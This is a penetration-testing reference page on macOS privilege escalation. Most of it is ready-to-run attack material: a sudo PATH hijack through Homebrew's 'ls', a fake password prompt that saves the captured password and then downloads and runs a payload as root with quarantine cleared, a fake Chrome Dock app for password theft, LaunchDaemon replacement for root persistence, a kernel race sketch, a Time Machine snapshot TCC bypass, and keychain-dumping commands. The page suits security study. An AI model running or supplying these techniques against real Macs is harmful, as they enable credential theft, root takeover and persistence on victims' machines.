Skip to main content

Overview

macOS privilege escalation combines traditional Unix techniques with Apple-specific attack vectors. This page covers user-interaction-based escalation, social engineering, and recent macOS-specific vulnerabilities.
This content is for authorized penetration testing and security research only.

TCC Privilege Escalation

TCC (Transparency, Consent, and Control) controls application access to sensitive resources. TCC privilege escalation is covered separately — this page focuses on traditional root escalation.

User Interaction Techniques

Sudo PATH Hijacking

macOS preserves the user’s PATH when executing sudo, unlike many Linux distributions. This allows hijacking binaries in Homebrew paths:
# Hijack 'ls' in /opt/homebrew/bin (usually already in PATH)
cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
if [ "$(id -u)" -eq 0 ]; then
    whoami > /tmp/privesc
fi
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls

# When victim runs:
sudo ls
# Your script executes as root
Users with Homebrew installed (most developers) are particularly vulnerable since /opt/homebrew/bin is typically at the front of their PATH.

Password Prompt Phishing + sudo Reuse

Malware frequently captures a sudo-capable password and reuses it programmatically:
user=$(whoami)
while true; do
  read -s -p "Password: " pw; echo
  dscl . -authonly "$user" "$pw" && break
done
printf '%s\n' "$pw" > /tmp/.pass

# Download and run payload, bypassing Gatekeeper quarantine
curl -o /tmp/update https://example.com/update
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update

Dock Impersonation

Replace the legitimate Chrome entry in the Dock with a fake app that steals the user’s password:
#!/bin/sh
# Create fake Chrome app structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload: display fake update dialog to capture password
# (see full script in source for C code that uses osascript)

# Copy real Chrome icon for legitimacy
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns \
   /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add \
  '<dict><key>tile-data</key><dict><key>file-data</key><dict>
   <key>_CFURLString</key><string>/tmp/Google Chrome.app</string>
   <key>_CFURLStringType</key><integer>0</integer>
   </dict></dict></dict>'
sleep 0.1
killall Dock
Finder cannot be removed from the Dock — place a fake Finder adjacent to the real one:
# Place fake Finder entry at the beginning of the Dock array
# When clicked: asks for password "to update components"
# Captured password written to /tmp/passwd.txt
Alternatively, make fake Finder request to copy to /etc/pam.d (triggers a legitimate-looking password prompt).

Newer macOS-Specific Vectors (2023–2025)

This API was deprecated in 10.7 but still functions on current macOS. Many commercial updaters call /usr/libexec/security_authtrampoline with attacker-controllable paths:
# Monitor for vulnerable helper calls
log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"'

# Replace expected helper binary
cp /tmp/payload "/Users/me/Library/Application Support/Target/helper"
chmod +x "/Users/me/Library/Application Support/Target/helper"
# When the app updates, the root authorization prompt executes your payload
If a LaunchDaemon plist or its ProgramArguments target is user-writable:
sudo launchctl bootout system /Library/LaunchDaemons/com.apple.securemonitor.plist
cp /tmp/root.sh /Library/PrivilegedHelperTools/securemonitor
chmod 755 /Library/PrivilegedHelperTools/securemonitor

cat > /Library/LaunchDaemons/com.apple.securemonitor.plist <<'PLIST'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
  <key>Label</key><string>com.apple.securemonitor</string>
  <key>ProgramArguments</key>
  <array><string>/Library/PrivilegedHelperTools/securemonitor</string></array>
  <key>RunAtLoad</key><true/>
</dict></plist>
PLIST

sudo launchctl bootstrap system /Library/LaunchDaemons/com.apple.securemonitor.plist
A race in kauth_cred_proc_update allows corrupting the read-only credential pointer (proc_ro.p_ucred) by racing setgid()/getgid() loops across threads until a torn memcpy occurs. Successful corruption yields uid 0.
// Minimal PoC structure (requires heap grooming for reliability)
// thread A
while (1) setgid(rand());
// thread B
while (1) getgid();
This is a reliable local kernel privesc on vulnerable builds without SIP bypass requirements.
Abuses the Migration Assistant entitlement com.apple.rootless.install.heritable to spawn a child process that inherits SIP bypass capability:
  1. Obtain root on a live system
  2. Trigger systemmigrationd with crafted state to run an attacker-controlled binary
  3. Use inherited entitlement to write to SIP-protected paths (e.g., /System/Library/LaunchDaemons)
  4. Persistence survives reboot
Multiple Apple daemons accept NSPredicate objects over XPC and only validate expressionType, which is attacker-controlled. Crafting a predicate that evaluates arbitrary selectors achieves code execution in root/system XPC services (e.g., coreduetd, contextstored).When combined with an initial sandbox escape, this grants privilege escalation without user prompts.

TCC Root Privilege Escalation

CVE-2020-9771 — mount_apfs TCC Bypass

Any user (even unprivileged) can mount a Time Machine snapshot with noowners and access all files:
# Create a Time Machine snapshot
tmutil localsnapshot

# List available snapshots
tmutil listlocalsnapshots /

# Mount snapshot as current user (noowners bypasses ownership)
mkdir /tmp/snap
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local \
  /System/Volumes/Data /tmp/snap

# Now accessible
ls /tmp/snap/Users/admin_user
The only privilege required is that the Terminal app (or whatever tool is used) must have Full Disk Access (FDA) — kTCCServiceSystemPolicyAllfiles.

Sensitive Files for Privilege Escalation

Key locations worth examining on macOS:
# Keychain files
~/Library/Keychains/
/Library/Keychains/

# SSH keys and config
~/.ssh/

# Shell history (zsh is default on modern macOS)
~/.zsh_history
~/.bash_history

# Application support credentials
~/Library/Application Support/

# macOS credential store
security find-generic-password -l "service_name" -w
security dump-keychain ~/Library/Keychains/login.keychain-db 2>/dev/null

References

Build docs developers (and LLMs) love